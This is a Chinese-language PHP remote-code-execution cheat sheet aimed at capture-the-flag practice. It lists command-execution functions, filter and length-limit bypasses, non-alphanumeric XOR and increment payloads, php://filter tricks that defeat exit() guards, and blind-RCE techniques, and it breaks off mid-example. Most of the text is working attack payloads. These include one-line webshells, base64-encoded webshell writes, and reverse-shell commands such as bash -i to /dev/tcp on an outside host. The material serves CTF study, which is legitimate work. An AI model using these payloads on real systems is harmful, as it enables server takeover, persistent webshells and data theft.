RCE
RCE
PHP命令执行函数:
system(),exec(),shell_exec(),pcntl_exec(),popen(),proc_popen(),passthru()等
常被禁用的函数: exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk", "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents"
一、函数
简介
RCE又称远程代码执行漏洞,可以让攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统。
PHP代码执行函数:
eval()、assert()、preg_replace()、create_function()、array_map()、call_user_func()、call_user_func_array()、array_filter()、uasort()、等
assert
// PHP 5
assert ( mixed $assertion [, string $description ] ) : bool
// PHP 7
assert ( mixed $assertion [, Throwable $exception ] ) : bool
//参数 assertion 既支持表达式,也支持表达式字符串(某些特定的场景会用到,比如判断某个字符串表达式是否合法)
版本的不兼容
PHP >= 5.4.8,description 可作为第四个参数提供给 ASSERT_CALLBACK 模式里的回调函数
在 PHP 5 中,参数 assertion(断言) 必须是可执行的字符串,或者运行结果为布尔值的表达式
在 PHP 7 中,参数 assertion 可以是任意表达式,并用其运算结果作为断言的依据
在 PHP 7 中,参数 exception 可以是个 Throwable 对象,用于捕获表达式运行错误或断言结果为失败。(当然 assert.exception 需开启)
PHP >= 7.0.0,支持 zend.assertions、assert.exception 相关配置及其特性
PHP >= 7.2 版本开始,参数 assertion 不再支持字符串
php函数替代
php中的'ls':
scandir(directory,sorting_order,context); 函数返回指定目录中的文件和目录的数组。
directory:必需,规定要扫描的目录。
利用data伪协议:
?page=data://text/plain,<?php print_r(scandir('/var/www')); ?>
其他php常用函数
1. getcwd() 返回当前目录的路径,但是不回显,需要 echo 或者 print 来输出
2. glob($pattern, $flags):根据指定模式匹配获取与之匹配的文件或目录列表。$pattern 参数是一个通配符模式,支持 * 和 ? 等通配符,例如 *.txt 匹配所有以 .txt 结尾的文件。如果要获取文件和目录,可以使用 * 作为通配符。$flags 参数是一个可选参数,用于设置匹配模式和排序规则等。
3. chdir() :函数改变当前的目录。
4. hightlight_file() 、 show_source() 、 readfile():读取文件内容
5. dirname() :函数返回路径中的目录部分
7. file_get_contents($filename) 是 PHP 中一个常用的文件操作函数,它可以返回指定文件的内容
Payload:?page=data://text/plain,<?php $a=file_get_contents('flag.php'); echo $a; ?>
6. htmlspecialchars(string)返回string中的除html标签以外的字符串
7. localeconv() :返回一包含本地数字及货币格式信息的数组。(但是这里数组第一项就是‘.’,这个.的用处很大)
其他:
1.array_reverse():将数组内容反转
2.strrev():用于反转给定字符串
3.current() :返回数组中的单元,默认取第一个值。pos()和current()是同一个东西
4.session_id() 获取当前会话ID,也就是说它可以抓取PHPSESSID后面的东西 // 需要开启session_start()
5.strtolower() 字符串字母转小写
end() : 将内部指针指向数组中的最后一个元素,并输出
next() :将内部指针指向数组中的下一个元素,并输出
prev() :将内部指针指向数组中的上一个元素,并输出
reset() : 将内部指针指向数组中的第一个元素,并输出
each() : 返回当前元素的键名和键值,并将内部指针向前移动
preg_match_all
//代码执行
preg_match_all(
string $pattern,
string $subject,
array &$matches = null,
int $flags = 0,
int $offset = 0
): int|false|null
参数
pattern
要搜索的模式,字符串形式。
subject
输入字符串。
matches
多维数组,作为输出参数输出所有匹配结果, 数组排序通过flags指定。
flags
可以结合下面标记使用(注意不能同时使用PREG_PATTERN_ORDER和 PREG_SET_ORDER):
PREG_PATTERN_ORDER
结果排序为$matches[0]保存完整模式的所有匹配, $matches[1] 保存第一个子组的所有匹配,以此类推。
因此下列情况中
(!preg_match_all("/(||&|;| |/|cat|flag|tac|php|ls)/", $str, $pat_array))
可以将rce代码输入到$pat_array中。
shell_exec
shell_exec函数会返回执行结果的全部内容,但是只有返回值没有回显。
shell_exec 与``作用相同,但无回显,需要echo或其他的输出函数使得其回显
#类似的函数:
exec 函数,无回显
exec($cmd,$output,$status); //cmd是命令,output储存输出结果,status是执行状态码
print_r($output);
exec
exec执行command命令,但是不会输出全部结果,而是返回结果的最后一行,如果你想得到全部的结果,可以使用第二个参数,让其输出到一个数组,数组的每一个记录代表了输出的每一行。
string exec ( string $command [, array &$output [, int &$return_var ]] )
<?php
exec('ls /home/xyw/test',$arr);
print_r($arr);
?>
passthru
与exec的区别:passthru直接将结果输出,不返回结果,不用使用echo查看结果。
<?php
$result=passthru("cat /flag");
echo $result; # null
#可以使用system进行返回
$result=system("cat /flag");
echo $result; # flag{manbaout}
二、绕过Waf
分隔参数绕过
eval($_GET['cmd']);
?cmd=$_POST[1]($_POST[2]);
1=system&2=whoami
长度限制
十七字符RCE
<?php
//sleep(100);
if(isset($_REQUEST['code'])){
$code=$_REQUEST['code'];
if(strlen($code)<17 && stripos($code,'eval') === false && stripos($code,'assert') === false ){
eval($code);
}else{
echo "the length is wrong";
}
}else{
highlight_file(__FILE__);
}
?>
unsort
绕过方法:
usort绕过:usort(array,my_function):bool,使用用户自定义的函数(返回一个bool值)对数组中的值进行比较,并对数组中值进行排序
条件:php版本<7.2(PHP >= 7.2 版本开始,断言不再支持字符串)
//…运算符,对就是三个点,该运算符可以将数组(必须是索引数组)或者可遍历的对象展开变为参数
pyload:code=usort(...$_GET); (post)
?1[]=test&1[]=phpinfo();&2=assert (get)
//相当于用assert取处理前面数组里面的每一个值,类似于:usort(['test','phpinfo()'],'assert')
反引号
php中的反引号
PHP执行运算符 :PHP 将尝试将反引号中的内容作为 shell 命令来执行,并将其输出信息返回。使用反引号运算符`的效果与函数 shell_exec() 相同。
在 PHP 中,反引号(`)被用作命令替换符号,它的作用是执行命令并获取其输出。当反引号包围的内容被执行时,PHP 将使用操作系统的命令解释器来执行该命令,并将命令的输出作为字符串返回。
注意:
关闭了 shell_exec() 时反引号运算符是无效的。
pyload:
code=echo `$_GET[1]`;&1=id
编写一句话木马
?code=echo `$_GET[1]`;&1=touch len1.php
?code=echo `$_GET[1]`;&1=echo '<?php eval($_GET[1]);' > len1.php
远程文件包含的利用
正常文件包含include $_GET[1];,这个刚好17个字符,超了一位。
不过,其实include$_GET[1];也是可以运行的,中间的空格可以不要。
这也是一个思路,但限制就是需要开启远程文件包含,但这个选项默认是关闭的。
include包含的所有文件都以php格式运行。
code=include$_GET[1];&1=//192.168.xxx.xxx//get.php
本地文件包含的利用
思路:向服务器写入文件并包含
利用file_put_contents可以将字符一个个地写入一个文件中,大概请求如下:
?code=$_GET[a](N,a,8);&a=file_put_contents
原理:file_put_contents的第一个参数是文件名,我传入N。PHP会认为N是一个常量,但我之前并没有定义这个常量,于是PHP就会把它转换成字符串'N';第二个参数是要写入的数据,a也被转换成字符串'a';第三个参数是flag,当flag=8的时候内容会追加在文件末尾,而不是覆盖。
除了 file_put_contents , error_log 函数效果也类似。
但这个方法有个问题,就是 file_put_contents 第二个参数如果是符号,就会导致PHP出错,比如 :
?code=$_GET[a](N,<,8);&a=file_put_contents。
但如果要写webshell的话,“<”等符号又是必不可少的。
于是微博上 @买贴膜的 想出一个办法,每次向文件'N'中写入一个字母或数字,最后构成一个base64字符串,再包含的时候使用php://filter对base64进行解码即可。(难他天)🤣
<?php eval($_POST[_]);
文件内容写好后,使用文件包含
code=include$_GET[0];&0=php://filter/read=convert.base64-decode/resource=N
POST:_=phpinfo();
竞争性漏洞
思路大致为,向phpinfo()界面通过POST请求传入大量的垃圾信息,以及一个文件写入 file_put_contents ,写入的内容为 /var/www/html 下的一个一句话木马,生成一个临时文件。让php在处理垃圾信息的时候,同时新开一个进程来包含这个临时文件,以达到执行文件写入的操作。
向phpinfo()传入的代码:
file_put_contents(shell.php,'<?php eval($_GET[1]);>',8)
文件包含的代码:
include$_GET[1];&1=/tmp/phpXXXXXXXXX
//可以使用. file+glob通配符的方法直接执行这个文件
例如:
/tmp/php645ljI
. /???/????????[@-[] 达到即使没有权限也能执行这个文件的目的
七字符RCE
<?php
if(isset($_REQUEST['code'])){
$code=$_REQUEST['code'];
if(strlen($code)<7 && stripos($code,'eval') === false && stripos($code,'assert') === false ){
shell_exec($code); //和之前的eval差不多
}else{
echo "the length is wrong";
}
}else{
highlight_file(__FILE__);
}
?>
`$_GET[1]` ----长度为10 //一般情况,即使最简单的shell也要10个字节
Linux命令长度限制突破
命令组装
#命令长度受限,这时我们可以使用touch来生成文件,然后将生成的文件名拼凑成一句命令,最后执行,达到目的
#也可以用输入重导向 > 定向输出到文件(如果文件不存在,就创建文件)
<-- cat flag.php -->
替换:
touch a
touch "hp"
touch "g.p\\" #“\” linux中可以用\使指令连接下一行,这样就可以写多行命令了。(两个\是因为要转义)
touch "la\\"
touch "t f\\"
touch "ca\\"
ls -t
ls -t >a 将 ls -t 内容写入到a文件中
#Shell 脚本的执行方式通常有如下三种:
#bash script-name 或者 sh script-name;
#path/script-name或者./script-name;
#sourcescript-name或者. script-name
sh a
rev 反转命令
写入一句话木马
#写入语句
<?php eval($_GET[1]);
#base64编码后
PD9waHAgZXZhbCgkX0dFVFsxXSk7
#需要被执行的语句:
echo PD9waHAgZXZhbCgkX0dFVFsxXSk7|base64 -d>1.php
pyload:
>hp
>1.p\\
>d\>\\
>\ -\\
>e64\\
>bas\\
>7\|\\
>XSk\\
>Fsx\\
>dFV\\
>kX0\\
>bCg\\
>XZh\\
>AgZ\\
>waH\\
>PD9\\
>o\ \\
>ech\\
ls -t>0
sh 0
五字符RCE
输入统配符* ,Linux会把第一个列出的文件名当作命令,剩下的文件名当作参数
> echo
ls
*
#增加字母来限定被用来当作命令和参数的文件名
>ls
>lss
>lsss
>1
*s (等同于命令: ls lss lsss)
Webshell绕过
Linux
----通配符绕过
源码中过滤了很多东西,可以使用的字符:p ` ? / + < > =
通过可用的字符构造cmd=?><?=`.+/??p/p?p??????`,由eval($cmd)来运行临时文件
备注:问号?代表一个任意字符,通配符/??p/p?p??????匹配/tmp/phpxxxxxx
----cat替代
当过滤cat时,可以用以下命令代替
more:一页一页的显示档案内容
less:与 more 类似
head:查看头几行
tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
tail:查看尾几行
nl:显示的时候,顺便输出行号
od:以二进制的方式读取档案内容
vi:一种编辑器,这个也可以查看
vim:一种编辑器,这个也可以查看
sort:可以查看
uniq:可以查看
file -f:报错出具体内容
sh /flag 2>%261 //报错出文件内容
----ls替代
dir:按列输出,不换行
rev:可以反转文件每一行的内容
------反引号绕过
注释:反引号里的内容会当做命令执行,并返回执行结果的字符串
例如:ls的结果是flag
则cat `ls` 等同于 cat flag
--------编码绕过
Base64
echo 'cat' | base64
output:Y2F0Cg==
`echo 'Y2F0Cg==' | base64 -d` flag # 结合反引号执行命令,返回:cat flag
output:flag{xxx}
其他:8进制,16进制等
echo -e "\x2f\x66\x6c\x61\x67" # /flag
echo -e "\057\0146\0154\0141\0147" # /flag
--------正则表达式绕过
cat ?la*
-------利用未初始化变量$u绕过
利用未初始化变量,使用$u绕过
例如过滤/1010/flag.pgp中的1010
cat 1010/flag.php
cat 1010$u/flag.php
过滤分隔符 | & ;
①可以使用%0a代替,%0a其实在某种程度上是最标准的命令链接符号
功能 符号 payload
换行符 %0a ?cmd=123%0als
回车符 %0d ?cmd=123%0dls
连续指令 ; ?1=123;pwd
后台进程 & ?1=123&pwd
管道 | ?1=123|pwd
逻辑运算 ||或&& ?1=123&&pwd
符号 功能
; 分号
| 只执行后面那条命令
|| 只执行前面那条命令
& 两条命令都会执行
&& 两条命令都会执行
②?>代替;
在php中可以用?>来代替最后一个;因为php遇到定界符关闭标志时,系统会自动在PHP语句之后加上一个分号。
或者用if(){}或者while{}语句绕过分号限制,如:if(passthru("tac%09fla*")){}
关键词绕过
----使用正斜杠“\”转义符号,引号等绕过
当过滤某些关键词时,使用正斜杠绕过
ca\t /fl\ag
或者使用引号:
cat fl''ag
-----变量拼接绕过
同样是过滤某些关键词时使用
a=fl;b=ag;cat$IFS$a$b
---------使用空变量$*和$@,$x,${x}绕过
ca$*t flag
ca$@t flag
ca$5t flag
ca${5}t flag
---------大小写绕过
#极少遇到的绕过,一般正则都会有 i 选项防止大小写绕过
----内敛执行代替system
echo `ls`;
echo $(ls);
?><?=`ls`;
?><?=$(ls);
输入重定向
符号“<”在Linux命令行中起着输入重定向的作用。它的主要功能是将文件的内容作为命令的输入,使得我们可以将文件中的数据传递给某个命令,从而让命令以文件内容作为输入进行操作。
command < input_file
cat < data.txt
其中,“command”是你想要执行的命令,“input_file”是一个包含输入数据的文件。当你在命令行中输入这个命令时,系统会将“input_file”的内容作为“command”的输入
<<< 符号 - 单行字符串输入
<<< 符号允许我们将单行字符串传递给命令,作为其输入。
例如:我们想要在一个字符串中查找特定的关键词
grep "keyword" <<< "This is an example text containing the keyword."
preg_match绕过
数组绕过
数组绕过
preg_match()遇到数组会直接返回flase。
常见数组形式:
$a[]='flag.php';
$a=array('flag.php');
$a=['flag.php'];
%00绕过
#没有测试过
%00在urldecode后就是0x00,一些函数诸如preg_match遇到0x00会直接停止
%0a换行符绕过
#没有测试过,很鸡肋的绕过,只有 /^flag$/ 也就是^表示开头$表示结尾,这样的才能用
show_source(__FILE__);
include('flag.php');
$a=$_GET['cmd'];
if(preg_match('/^php$/im', $a)){
if(preg_match('/^php$/i', $a)){
echo 'hacker';
}
else{
echo $flag;
}
}
else{
echo 'nonononono';
}
im模式是可以匹配很多行
i模式只能匹配一行
多行模式的意思是对每一行都进行正则匹配
在上述题目中,第一次匹配是多行,而第二次则是非多行
可以传入?cmd=php%0aphp ,在第二次匹配中换行符不会被识别,相当于是php开头,aaa结尾,不符合匹配。
或aaa%0aphp也可。
单字绕过
----chr()绕过
对过滤掉的符号进行绕过。
chr(ascii) 函数从指定 ASCII 值返回字符。
ASCII 值可被指定为十进制值、八进制值或十六进制值。八进制值被定义为带前置 0,十六进制值被定义为带前置 0x。
例如:chr(47)=" / "
---十六进制绕过
"\x73\x79\x73\x74\x65\x6d"("whoami"); #system("whoami")
eval("\x73\x79\x73\x74\x65\x6d\x28\x27\x64\x69\x72\x27\x29\x3b"); #执行system('dir');
回溯次数绕过
#没有测试过
preg_match()的回溯次数可以设定,默认是1000000次(中英文次数不同,实测回溯为100w次,5.3.7版本以前是10w次),这个可以在php.ini中查询
无数字字母类型
//preg_match函数用来将输入的字符串与正则表达式匹配
<?php
highlight_file(__FILE__);
header("Content-type:text/html;charset=utf-8");
error_reporting(0);
if(preg_match('/[a-z0-9]/is',$_GET['shell'])){
echo "hacker!!!";
}else{
eval($_GET['shell']);
}
//难点在对输入参数进行了正则匹配,过滤掉了字母和数字,因此要通过一些姿势来绕过对字母、数字参数的过滤达到代码执行的目的
汉字取反绕过
在php的位运算符中,有一种运算方式叫做取反,运算符号为^
利用的是UTF-8编码的某个汉字,并将其中某个字符取出来,比如:['和'{2}]的结果是["\x8c"],其取反即为字母s:
这里还利用了php的弱类型的特点,因为要获取 '和'{2},就必须有数字2。而PHP由于弱类型这个特性:
true 的值为 1 ,故 true + true == 2,也就是 ('>'>'<')+('>'>'<')==2
pyload:
$__=('>'>'<')+('>'>'<');$_=$__/$__;$____='';$___="瞰";$____.=~($___{$_});$___="和";$____.=~($___{$__});$___="和";$____.=~($___{$__});$___="的";$____.=~($___{$_});$___="半";$____.=~($___{$_});$___="始";$____.=~($___{$__});$_____='_';$___="俯";$_____.=~($___{$__});$___="瞰";$_____.=~($___{$__});$___="次";$_____.=~($___{$_});$___="站";$_____.=~($___{$_});$_=$$_____;$____($_[$__]);
//取反中文字符fuzz的PHP脚本
<?php
error_reporting(0);
header('Content-Type: text/html; charset=utf-8');
function str_split_unicode($str, $l = 0) {
if ($l > 0) {
$ret = array();
$len = mb_strlen($str, "UTF-8");
for ($i = 0; $i < $len; $i += $l) {
$ret[] = mb_substr($str, $i, $l, "UTF-8");
}
return $ret;
}
return preg_split("//u", $str, -1, PREG_SPLIT_NO_EMPTY);
}
$s = '当我站在山顶上俯瞰半个鼓浪屿和整个厦门的夜空的时候,我知道此次出行的目的已经完成了,我要开始收拾行李,明天早上离开这里。前几天有人问我,大学四年结束了,你也不说点什么?乌云发生了一些事情,所有人都缄默不言,你也是一样吗?你逃到南方,难道不回家了吗?当然要回家,我只是想找到我要找的答案。其实这次出来一趟很累,晚上几乎是热汗淋漓回到住处,马,追回十年前姑娘”。后来,感觉一切都步入正轨,学位证也顺利拿到,我匆匆告别了自己的大学。后来也遇到了很多事,事后有人找我,很多人关心你,少数人可能不是,但出了学校以后,又有多少人和事情完全没有目的呢?我也考虑了很多去处,但一直没有决断,倒有念怀旧主,也有妄自菲薄之意,我希望自己能做出点成绩再去谈其他的,所以很久都是闭门不出,琢磨东西。来到厦门,我还了一个愿,又许了新的愿望,希望我还会再次来还愿。我又来到了上次没住够的鼓浪屿,订了一间安静的房子,只有我一个人。在这里,能听到的只有远处屋檐下鸟儿叽叽喳喳的鸣叫声,远处的喧嚣早已烟消云散,即使这只是暂时的。站在屋顶的我,喝下杯中最后一口水。清晨,背着行李,我乘轮渡离开了鼓浪屿,这是我第二次来鼓浪屿,谁知道会不会是最后一次。我在这里住了三天,用三天去寻找了一个答案。不知不觉我又想到辜鸿铭与沈子培的那段对话。“大难临头,何以为之?”“世受国恩,死生系之';
$arr_str=str_split_unicode($s);
for ($i=0; $i < strlen($s) ; $i++) {
echo $arr_str[$i].'-->'.~$arr_str[$i]{1}.'<br>';
}
?>
URL编码取反绕过
//注意: 该方法只适用于PHP7
对想要传入的参数,先进行URL编码再取反,得到的url编码解码后是一堆不可见字符,可以绕过对字母和数字的检查
例如传入构造一个phpinfo();
echo urlencode(~'phpinfo'); //%8F%97%8F%96%91%99%90
pyload:?shell=(~%8F%97%8F%96%91%99%90)();
payload:
(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%D0%99%93%9E%98) #system(cat /flag)
# php特性:函数参数即使没有引号,php也能自动识别类型
异或绕过
原理:
在PHP中两个字符串异或之后,得到的还是一个字符串。如果正则过滤了一些字符串,那就可以使用两个不在正则匹配范围内的字符串进行异或得到我们想要的字符串。
例如:我们异或 `'?'`和 `'~'`之后得到的是 `'A'`
字符:? ASCII码:63 二进制: 0011 1111
字符:~ ASCII码:126 二进制: 0111 1110
异或规则:
1 XOR 0 = 1
0 XOR 1 = 1
0 XOR 0 = 0
1 XOR 1 = 0
上述两个字符异或得到 二进制: 0100 0001
该二进制的十进制也就是:65
对应的ASCII码是:A
echo '?'^'~'; //A
python脚本
描述:
这里的正则过滤了所有26个字母大小写,如果我想要传入一个eval($_POST[_]); 就需要异或得到这个eval($_POST[_]);字符串
那么如何知道哪两个字符异或可以得到我们想要的字符,就比如如何得到第一个字符 e
这里使用python脚本fuzz测试了一下,脚本如下:
def r_xor():
for i in range(0,127):
for j in range(0,127):
result=i^j
print(" "+chr(i)+" ASCII:"+str(i)+' <--xor--> '+chr(j)+" ASCII:"+str(j)+' == '+chr(result)+" ASCII:"+str(result))
if __name__ == "__main__":
r_xor()
#PHITHON师傅的一个payload
$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`');$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']');$___=$$__;$_($___[_]);
# assert($_POST[_])
//phpinfo()
$s=('/'^'_').('@'^'(').('/'^'_').('@'^')').(urldecode('%0e')^'@').(':'^'\\').(urldecode('%0f')^'@').'();';
eval($s);
//${_GET}{%ff}();&%ff=phpinfo
?shell=${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=phpinfo
pyload:
((%8F%8D%96%91%8B%A0%8D)^(%FF%FF%FF%FF%FF%FF%FF))(((%8C%9C%9E%91%9B%96%8D)^(%FF%FF%FF%FF%FF%FF%FF))((%D1)^(%FF)));
#(%8F%8D%96%91%8B%A0%8D)^(%FF%FF%FF%FF%FF%FF%FF)即print_r
#(%8C%9C%9E%91%9B%96%8D)^(%FF%FF%FF%FF%FF%FF%FF)即scandir
#后面就是(.)
//print_r(scandir(.))
((%8F%9E%96%9C%9C%A0%9E)^(%FF%9C%FF%9B%9B%FF%9C)^(%FF%8F%FF%96%8C%FF%8F)^(%FF%FF%FF%FF%FF%FF%FF))(((%8C%9C%9E%9C%9B%96%9E)^(%FF%FF%FF%9B%FF%FF%9C)^(%FF%FF%FF%96%FF%FF%8F)^(%FF%FF%FF%FF%FF%FF%FF))((%D1)^(%FF)));
//readfile(end(scandir(.)))
((%8D%9A%9E%9B%99%96%93%9A)^(%FF%FF%FF%FF%FF%FF%FF%FF))(((%9A%9E%9B)^(%FF%99%FF)^(%FF%96%FF)^(%FF%FF%FF))(((%8D%9E%9E%9E%9B%96%8D)^(%9A%9B%FF%99%FF%FF%FF)^(%9B%99%FF%96%FF%FF%FF)^(%FF%FF%FF%FF%FF%FF%FF))(%D1^%FF)));
递增递减运算符绕过
原理:
'a'++ => 'b','b'++ => 'c'… , 所以,我们只要能拿到一个变量,其值为a,通过自增操作即可获得a-z中所有字符。
数组(Array)的第一个字母就是大写A,而且第4个字母是小写a。也就是说,我们可以同时拿到小写和大写A,等于我们就可以拿到a-z和A-Z的所有字母。
在PHP中,如果强制连接数组和字符串的话,数组将被转换成字符串,其值为Array,再取这个字符串的第一个字母,就可以获得'A'了。
#PHP函数是大小写不敏感的
编写了如下webshell:
<?php
$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;
$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;
$_=$$____;
$___($_[_]); // ASSERT($_POST[_]);
pyload:?shell=
$_=[];$_=@"$_";$_=$_['!'=='@'];$___=$_;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$____='_';$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$_=$$____;$___($_[_]);
//执行:eval(ASSERT($POST[_])) POST传入: _=phpinfo();
//传参时需要url编码一次!
//另外这里利用版本也是PHP 7.0.12及以下版本,还是因为assert()到PHP7改了的问题
//PHP 7.0.12版本以上就不能用该方法了
引号绕过
$code = preg_replace("/[\";'%\\\\]/", '', $_POST['code']);
php的特性 ,不使⽤引号的话能⾃⼰识别类型 ,可以⽤字符串拼接的⽅式绕过过滤。
这⾥需要注意的是 ,因为没有引号 ,拼接字符的时候会warming ,然后tp(thinkphp)就报错了 ,⽤@来忽略警告。
$attack_word='\''."${usort((ge.tallheaders)(),sys.tem)}".'\'';
随后传入头部字段:xxx:cat /flag
死亡绕过
针对file_put_content()
。进行exit()死亡结束的绕过方法:
三种情况:
file_put_contents($filename , "<?php exit();".$content);
file_put_contents($content,"<?php exit();".$content);
file_put_contents($filename,$content."\nxxxxxxxxx");
第一种情况:
<?php
$content='<?php exit;>';
$content.=$_POST['txt'];
file_put_contents($_POST['filename'],$content);
?>
POST:
txt=<?php eval($_GET[1]);?>;&filename=k3k.php
查看后台,确实生成了文件,但是文件内容拼接在exit后面。程序遇见即结束。 将绕过这种限制的行为称为死亡绕过。我们想要绕过就需要将<?php exit;>给拿掉
死亡绕过的解决方法:
1、base64解码
首先使用 php://filter/write=convert.base64-decode
将文件的内容先进行解码。
一个正常的base64_decode实际上可以理解为如下两个步骤:
<?php
$_GET['txt'] = preg_replace('I[^a-z0-9A-Z+/]|s','',$_GET['txt']);
base64_decode($_GET['txt']);
所以第一步便将其中的"< ? ; >" 四个字符全匹配掉了。然后剩下"phpexit"这7个字节。
base64解码是以4个字节为一组。所以给文件补上一个字节,然后加入我们自己的base64编码后的代码。
txt=aPD9waHAgZXZhbCgkX1BPU1RbOV0pOw;&filename=php://filter/write=convert.base64-decode/resource=k3k.php
即"phpexitaPD9waHAgZXZhbCgkX1BPU1RbOV0pOw;" =>^ƫZ<?php eval($_POST[9]);
2.xml标签
这个标签<?php exit;?>实际上是什么?
实际上它是一个xml标签,既然是xml标签,就可以利用strip_tags函数去除他,刚好php的伪协议是支持这个方法的
POST:
txt=<?php eval(@_GET[9];)>;&filename=php://filter/write=string.strip_tags/resource=k3k.php
php伪协议 允许使用多个过滤器:
txt=?>PD9waHAgZXZhbCgkX1BPU1RbOV0pOw==;&filename=php://filter/write=string.strip_tags|convert.base64-decode/resource=k3k.php
第二种情况
<?php
$content = $_GET[content];
file_put_contents($content,'<?php exit();'.$content);
content=php://filter/convert.base64-decode/PD9waHAgcGhwaW5mbygpOz8+/resource=shell.php
或
content=php://filter/convert.base64-decode/resource=PD9waHAgcGhwaW5mbygpOz8+.php
进行拼接之后就是 <?php exit();php://filter/convert.base64-decode/resource=PD9waHAgcGhwaW5mbygpOz8+.php 然后会对其进行一次整体的 base64-decode 。从而分解掉死亡代码,
但是无法生成content;虽然文件创建成功,但是就是无法生成content。问题在于resource后边的 '=';
'='在base64中的作用是填充,也就是以为着结束;在'='的后面是不允许有任何其他字符的否则会报错,
这里因为是由于‘=’从而使得我们写入content不成功,那么我们可以想个方法去掉等号即可,
content=php://filter/string.strip_tags|convert.base64-decode/resource=?>PD9waHAgcGhwaW5mbygpOz8+.php
发现可以生成文件,并且可以看到我们已经成功写入了shell;但是文件名确实有问题,当我们在浏览器访问的时候,会出现访问不到的问题,这里是因为引号的问题;那么如何避免,我们可以使用伪目录的方法,进行变相的绕过去;
content=php://filter/string.strip_tags|convert.base64-decode/resource=?>PD9waHAgcGhwaW5mbygpOz8%2b/../shell.php
rot13绕过
content=php://filter/write=string.rot13|<?cuc cucvasb();?>|/resource=shell.php
content=php://filter/write=string.rot13/resource=<?cuc cucvasb();?>/../shell.php
无回显
延时判断
首先我们需要知道该点是否存在命令执行漏洞,或者我们的命令是否执行成功了。这里的研判方法有很多种,最常用的是直接通过延时判断,类似我们sql注入里的时间盲注:
$ sleep 5
payload:
?cmd = if [$(whoami|base32|cut –c 1)=O];then sleep 10;fi
windows下并没有sleep命令,我们可以通过回环ping来达到强制延时的效果:
ping -n 3 127.0.0.1
ping -n 4 127.0.0.1
写文件
输出重定向,创建文件
$ cat /flag > 1.txt
#在php页面访问1.txt
php函数file_put_content,写文件
file_put_contents("file","content"); 方法写入
copy复制、move移动
$ copy /flag 1.txt
$ move /flag 1.txt
tee命令用于读取标准输入的数据,并将其内容输出成文件
tee file1 file2 //复制文件
ls /|tee 1.txt //命令输出
反弹shell
bash -i >& /dev/tcp/192.168.118.128/7777 0>&1
nc -lvp 7777
echo$IFS$1"L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwL3MwLnYxMDAudmlwLzM5NTQwIDA+JjE="|base64$IFS$1-d|bash
例题
下面是题目的源码,且不可见
<?php
$referer = $_SERVER['HTTP_REFERER'];
if (isset($_GET['cmd'])) {
$c = $_GET['cmd'];
if (strpos($referer, 'baidu.com') !== false) {
// 允许访问
system($c . " >/dev/null 2>&1");
} else {
echo '不对哦,你不是来自baidu.com的自己人哦';
}
}
?>
无回显的情况有多种,这种属于重定向型,标准输出和错误都被重定向了,所以没有回显。
解决方法很简单,直接用命令分割即可
尝试:
sleep 5
ls;sleep 5
第一条命令执行成功,表示我们的payload被执行了,第二条命令回显了ls的结果,但sleep命令没有执行,也就是说属于重定向问题。
白名单
白名单一般都有固定的解法,一般要具体问题具体分析,下面是一些实战例题
1.XYCTF[ezRCE]
<?php
highlight_file(__FILE__);
function waf($cmd){
$white_list = ['0','1','2','3','4','5','6','7','8','9','\\','\'','$','<'];
$cmd_char = str_split($cmd);
foreach($cmd_char as $char){
if (!in_array($char, $white_list)){
die("really ez?");
